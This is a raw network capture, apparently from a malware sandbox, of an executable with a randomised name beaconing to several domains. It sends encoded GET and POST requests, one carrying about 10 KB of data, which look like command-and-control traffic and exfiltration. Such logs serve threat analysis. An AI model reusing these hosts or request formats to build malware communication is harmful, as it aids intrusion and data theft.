Sep 25, 2024 12:46:54.357356071 CEST	509	OUT	GET /8pln/?PR_xXrA=T9/DtY4QstE2hf5O1waUB+I/eJ4Uv9cvfz5cQjr/yHb6PkgoDrQz8TZtAEENUqwsBaW/Syqgj8DnNvIHzYG9oL792aB/FoBSyK+aeSTPR1nXcfMqNX8wInY=&n0=mTk8u4lhzbnhVh HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.ultraleap.net Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Sep 25, 2024 12:46:54.950181007 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 25 Sep 2024 10:46:54 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Vary: Accept-Language Data Raw: 37 38 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 54 68 69 73 20 64 6f 6d 61 69 6e 20 6e 61 6d 65 20 68 61 73 20 62 65 65 6e 20 72 65 67 69 73 74 65 72 65 64 20 77 69 74 68 20 47 61 6e 64 69 2e 6e 65 74 2e 20 49 74 20 69 73 20 63 75 72 72 65 6e 74 6c 79 20 70 61 72 6b 65 64 20 62 79 20 74 68 65 20 6f 77 6e 65 72 2e 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 75 6c 74 72 61 6c 65 61 70 2e 6e 65 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 [TRUNCATED] Data Ascii: 785<!DOCTYPE html><html class="no-js" lang=en> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width"> <meta name="description" content="This domain name has been registered with Gandi.net. It is currently parked by the owner."> <title>ultraleap.net</title> <link rel="stylesheet" type="text/css" href="main-78844350.css"> <link rel="shortcut icon" href="favicon.ico" type="image/x-icon"/> <link rel="preload" as="font" href="fonts/Montserrat-Regular.woff2" type="font/woff2" crossorigin/> <link rel="preload" as="font" href="fonts/Montserrat-SemiBold.woff2" type="font/woff2" crossorigin/> </head> <body> <div class="ParkingPage_2023-root_2dpus "><main class="OldStatic_2023-root_1AGy1 Parking_2023-root_qhMQ2"><div><article class="Parking_2023-content_1rA87"><h1 class="OldStatic_2023-title_13ceK">This domain name has been registered with Gandi.net</h1><div class="OldStatic_2023-text_37nqO Parking_2023-text_1JZys"><p><a href="https://wh [TRUNCATED]
Sep 25, 2024 12:46:54.950196981 CEST	890	IN	Data Raw: 72 61 6c 65 61 70 2e 6e 65 74 22 3e 3c 73 74 72 6f 6e 67 3e 56 69 65 77 20 74 68 65 20 57 48 4f 49 53 20 72 65 73 75 6c 74 73 20 6f 66 20 75 6c 74 72 61 6c 65 61 70 2e 6e 65 74 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 61 3e 20 74 6f 20 67 65 74 20 74 68 Data Ascii: raleap.net"><strong>View the WHOIS results of ultraleap.net</strong></a> to get the domains public registration information.</p></div><div class="Parking_2023-positionbox_2OgLh"><div class="Parking_2023-outerbox_2j18t"><p class="Parking_202

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49742	172.96.187.60	80	3368	C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 12:47:00.253182888 CEST	763	OUT	POST /v2c3/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.dalong.site Origin: http://www.dalong.site Content-Length: 204 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.dalong.site/v2c3/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 50 52 5f 78 58 72 41 3d 31 49 2b 62 6f 39 54 68 6c 45 38 47 71 4f 75 47 63 6e 53 55 2b 42 62 64 32 68 31 4f 58 4f 4d 55 65 49 43 33 52 69 38 6c 38 75 53 52 34 41 45 39 45 44 5a 54 63 77 4e 42 53 50 70 61 6c 7a 54 59 70 6c 41 7a 4c 4d 38 2f 32 7a 4e 75 67 45 66 78 58 68 41 55 34 4e 79 4e 49 70 35 58 77 6a 4e 6e 6c 59 7a 59 37 2f 58 6b 50 42 76 79 2f 69 63 4d 6b 54 6c 71 64 57 77 76 4c 6a 6f 41 71 56 34 59 51 4c 44 48 57 6b 4e 4c 2b 6b 52 52 51 4d 4b 35 77 73 34 6b 61 4b 6b 48 75 54 41 49 39 79 6c 6e 54 51 5a 2f 6a 52 66 6a 52 6d 53 72 55 39 41 56 73 6b 43 36 45 63 30 39 73 55 6c 69 7a 46 36 45 32 41 3d 3d Data Ascii: PR_xXrA=1I+bo9ThlE8GqOuGcnSU+Bbd2h1OXOMUeIC3Ri8l8uSR4AE9EDZTcwNBSPpalzTYplAzLM8/2zNugEfxXhAU4NyNIp5XwjNnlYzY7/XkPBvy/icMkTlqdWwvLjoAqV4YQLDHWkNL+kRRQMK5ws4kaKkHuTAI9ylnTQZ/jRfjRmSrU9AVskC6Ec09sUlizF6E2A==
Sep 25, 2024 12:47:00.696494102 CEST	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Wed, 25 Sep 2024 10:47:00 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49743	172.96.187.60	80	3368	C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 12:47:02.794791937 CEST	783	OUT	POST /v2c3/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.dalong.site Origin: http://www.dalong.site Content-Length: 224 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.dalong.site/v2c3/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 50 52 5f 78 58 72 41 3d 31 49 2b 62 6f 39 54 68 6c 45 38 47 73 75 65 47 50 30 36 55 32 42 62 61 76 52 31 4f 65 75 4e 54 65 49 4f 33 52 6d 74 34 39 59 4b 52 34 68 30 39 4b 68 78 54 53 51 4e 42 61 76 70 56 34 44 53 57 70 6c 64 4d 4c 4f 6f 2f 32 31 68 75 67 42 62 78 58 57 30 56 36 64 79 44 51 5a 35 47 2b 44 4e 6e 6c 59 7a 59 37 37 2b 42 50 42 33 79 2b 54 73 4d 6c 32 52 74 51 32 77 73 49 6a 6f 41 38 56 34 69 51 4c 43 69 57 68 73 51 2b 6d 5a 52 51 4f 53 35 33 39 34 6e 55 4b 6b 42 67 7a 42 41 78 42 46 72 55 56 38 32 6d 42 4c 6a 54 55 43 57 56 37 52 50 39 56 6a 74 57 63 51 4f 78 54 73 57 2b 47 48 4e 74 4b 71 57 52 72 52 57 58 4b 49 4a 4b 71 62 75 41 55 52 62 56 6c 59 3d Data Ascii: PR_xXrA=1I+bo9ThlE8GsueGP06U2BbavR1OeuNTeIO3Rmt49YKR4h09KhxTSQNBavpV4DSWpldMLOo/21hugBbxXW0V6dyDQZ5G+DNnlYzY77+BPB3y+TsMl2RtQ2wsIjoA8V4iQLCiWhsQ+mZRQOS5394nUKkBgzBAxBFrUV82mBLjTUCWV7RP9VjtWcQOxTsW+GHNtKqWRrRWXKIJKqbuAURbVlY=
Sep 25, 2024 12:47:03.239924908 CEST	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Wed, 25 Sep 2024 10:47:03 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49744	172.96.187.60	80	3368	C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 12:47:05.344904900 CEST	10865	OUT	POST /v2c3/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.dalong.site Origin: http://www.dalong.site Content-Length: 10304 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.dalong.site/v2c3/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 50 52 5f 78 58 72 41 3d 31 49 2b 62 6f 39 54 68 6c 45 38 47 73 75 65 47 50 30 36 55 32 42 62 61 76 52 31 4f 65 75 4e 54 65 49 4f 33 52 6d 74 34 39 59 79 52 34 33 6f 39 46 67 78 54 54 51 4e 42 55 50 70 46 34 44 53 62 70 6c 46 49 4c 4f 6b 4a 32 77 39 75 78 58 6e 78 65 43 6f 56 7a 64 79 44 4d 70 34 42 77 6a 4e 2b 6c 59 6a 63 37 2f 61 42 50 42 33 79 2b 52 30 4d 73 44 6c 74 44 6d 77 76 4c 6a 6f 4d 71 56 35 4e 51 4c 71 55 57 68 67 41 35 56 68 52 65 4f 43 35 31 50 51 6e 63 4b 6b 44 6a 7a 41 47 78 42 49 31 55 52 63 51 6d 42 2b 45 54 57 65 57 56 36 52 57 6b 68 54 6c 4a 39 51 64 73 67 34 71 36 68 6a 68 71 4a 2b 50 64 71 56 78 44 65 34 5a 46 4c 6d 68 48 32 35 77 4d 77 69 6b 72 4f 2b 45 62 46 33 53 73 49 53 77 68 78 50 77 69 58 73 4f 74 49 55 62 37 4e 39 2f 4b 4f 34 34 42 4d 54 65 44 4f 72 4e 6c 4b 4c 37 62 43 2b 56 6e 36 33 56 73 6c 54 6c 68 6a 36 35 66 41 59 35 6b 33 56 6d 6d 4b 47 67 70 36 6e 57 36 55 59 69 52 72 72 72 34 48 65 53 58 55 55 55 55 78 66 78 35 45 7a 52 57 7a 51 49 47 30 2b 56 47 6a 62 35 48 36 [TRUNCATED] Data Ascii: PR_xXrA=1I+bo9ThlE8GsueGP06U2BbavR1OeuNTeIO3Rmt49YyR43o9FgxTTQNBUPpF4DSbplFILOkJ2w9uxXnxeCoVzdyDMp4BwjN+lYjc7/aBPB3y+R0MsDltDmwvLjoMqV5NQLqUWhgA5VhReOC51PQncKkDjzAGxBI1URcQmB+ETWeWV6RWkhTlJ9Qdsg4q6hjhqJ+PdqVxDe4ZFLmhH25wMwikrO+EbF3SsISwhxPwiXsOtIUb7N9/KO44BMTeDOrNlKL7bC+Vn63VslTlhj65fAY5k3VmmKGgp6nW6UYiRrrr4HeSXUUUUxfx5EzRWzQIG0+VGjb5H6TdSam2oNWQjGm8uO3He1slqVsZQ9Hp1lPL2YQYslIGLJ6s6PGwfQ9/pDxhAjbPJ5Ux9kn4zF9/lV+R9H62aVUGaM6R4Vo6pnPxZ5Iwr4GidIs4N5cIgwt/TKNgLhNthVL+Dwk07TBYjBA/IUuWtOF5+lIBzp4p/DmBQe5k8PQ6k1hXnybwW2ry5FPX0/oqqiaRYdwM9aPnp9/MIyOztGxf1FrTCTU1kGqIo/OW9IUCoe2OxDYYbSfz171zPzr0PL9p3bnzk4m38qR6Jch+VryCIFbtSXBEMk7IDJ3AxgZJyLnqVZcy3NbgwrQoKgcpFZWjPqtSLciKhSQq/OW/S3fusSw/1dKlux20a1bMxnPz4+OAh6JpX6JwtsxN8ZBJZ0UVloa7B0I3EFflzN6TeUdtoTKwlpboBJ8JNGfWbg8UcyG2dM4LYN1iyiDH7nLiibUaykwRFqWhPkPBYmG+OlhU85BOu8sLXeZ+AbwshXt4zqcITPZXqFuBtSp0aZDjKuiq9nC3B9NLbv98F0TLKftQb20JaLdiqMdse5Tj31rjbJkmuA9ifbQzagU9Oxj0L3QRZmOAAQCx2FsKX777FCqbfnxEAjalFR5g5HL/S3Q9TmIkBekTJxBOldcBGX+rgSjA+rS2ohDGcmdReX10iF/7mvz9RXJEGbRL [TRUNCATED]
Sep 25, 2024 12:47:05.797883034 CEST	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Wed, 25 Sep 2024 10:47:05 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49745	172.96.187.60	80	3368	C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 12:47:07.887039900 CEST	507	OUT	GET /v2c3/?n0=mTk8u4lhzbnhVh&PR_xXrA=4KW7rJi8xQgG5Juif0zvrQruwxJNCZQzPrutLC9Z2JC7riozJk19TyUHcpxc9ASY/m5rLPYp2hVK9kL/MGxev+uUFboPihN5w7Wu/KeDCgTl/GYzmTNxclA= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.dalong.site Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Sep 25, 2024 12:47:08.337837934 CEST	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Wed, 25 Sep 2024 10:47:08 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49746	3.33.130.190	80	3368	C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 12:47:13.400037050 CEST	790	OUT	POST /xamn/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.mgeducacaopro.online Origin: http://www.mgeducacaopro.online Content-Length: 204 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.mgeducacaopro.online/xamn/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 50 52 5f 78 58 72 41 3d 54 4b 51 55 74 4a 6c 4d 70 2f 31 46 56 35 70 35 44 62 36 4d 32 32 39 48 4c 39 57 37 52 53 66 2b 41 66 69 74 38 66 51 73 6e 72 7a 77 56 33 64 4c 32 30 74 42 49 6f 4a 6b 34 6b 38 6d 75 73 4b 53 56 39 6f 79 74 78 6f 53 4e 62 53 53 6d 71 7a 73 6e 47 71 34 76 6d 46 36 52 33 41 38 30 49 2b 77 57 58 55 67 78 64 49 6f 51 4a 36 57 56 56 6c 34 61 30 77 35 42 68 49 66 6f 54 34 7a 4f 46 4e 71 36 66 63 2b 42 4f 54 74 76 63 76 77 39 4c 47 4c 2b 55 45 58 49 33 66 59 6d 79 62 42 54 65 59 45 38 35 6e 51 50 67 4e 6e 74 38 30 42 64 48 53 74 63 65 56 65 79 54 42 52 31 78 65 44 57 51 59 6f 35 41 3d 3d Data Ascii: PR_xXrA=TKQUtJlMp/1FV5p5Db6M229HL9W7RSf+Afit8fQsnrzwV3dL20tBIoJk4k8musKSV9oytxoSNbSSmqzsnGq4vmF6R3A80I+wWXUgxdIoQJ6WVVl4a0w5BhIfoT4zOFNq6fc+BOTtvcvw9LGL+UEXI3fYmybBTeYE85nQPgNnt80BdHStceVeyTBR1xeDWQYo5A==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49747	3.33.130.190	80	3368	C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 12:47:15.956368923 CEST	810	OUT	POST /xamn/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.mgeducacaopro.online Origin: http://www.mgeducacaopro.online Content-Length: 224 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.mgeducacaopro.online/xamn/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 50 52 5f 78 58 72 41 3d 54 4b 51 55 74 4a 6c 4d 70 2f 31 46 61 35 5a 35 45 34 69 4d 2b 32 39 45 46 64 57 37 44 53 66 41 41 66 2b 74 38 65 6c 33 6b 66 66 77 55 56 46 4c 33 77 35 42 4a 6f 4a 6b 74 55 38 6e 7a 63 4b 6e 56 39 6b 4d 74 30 51 53 4e 59 75 53 6d 72 44 73 6e 56 43 37 67 57 46 6b 65 58 41 36 35 6f 2b 77 57 58 55 67 78 64 64 67 51 4a 43 57 56 6c 56 34 4c 6c 77 2b 61 42 49 63 2f 6a 34 7a 4b 46 4e 78 36 66 63 59 42 50 50 48 76 65 6e 77 39 4c 57 4c 2b 41 59 55 47 33 66 53 72 53 61 44 62 4e 6c 6a 38 71 65 52 46 43 59 42 77 39 67 4d 52 68 44 33 4e 76 30 4a 67 54 6c 69 6f 32 58 33 62 54 6c 68 69 4e 77 53 6a 58 31 72 75 6d 39 32 63 53 59 53 49 2f 57 66 75 4a 30 3d Data Ascii: PR_xXrA=TKQUtJlMp/1Fa5Z5E4iM+29EFdW7DSfAAf+t8el3kffwUVFL3w5BJoJktU8nzcKnV9kMt0QSNYuSmrDsnVC7gWFkeXA65o+wWXUgxddgQJCWVlV4Llw+aBIc/j4zKFNx6fcYBPPHvenw9LWL+AYUG3fSrSaDbNlj8qeRFCYBw9gMRhD3Nv0JgTlio2X3bTlhiNwSjX1rum92cSYSI/WfuJ0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49748	3.33.130.190	80	3368	C:\Program Files (x86)\pUUbSwisXmuavNzKkjrwUevzwvLSscEwaszVCCnH\FrywuFHvnDbLo.exe

Timestamp	Bytes transferred	Direction	Data
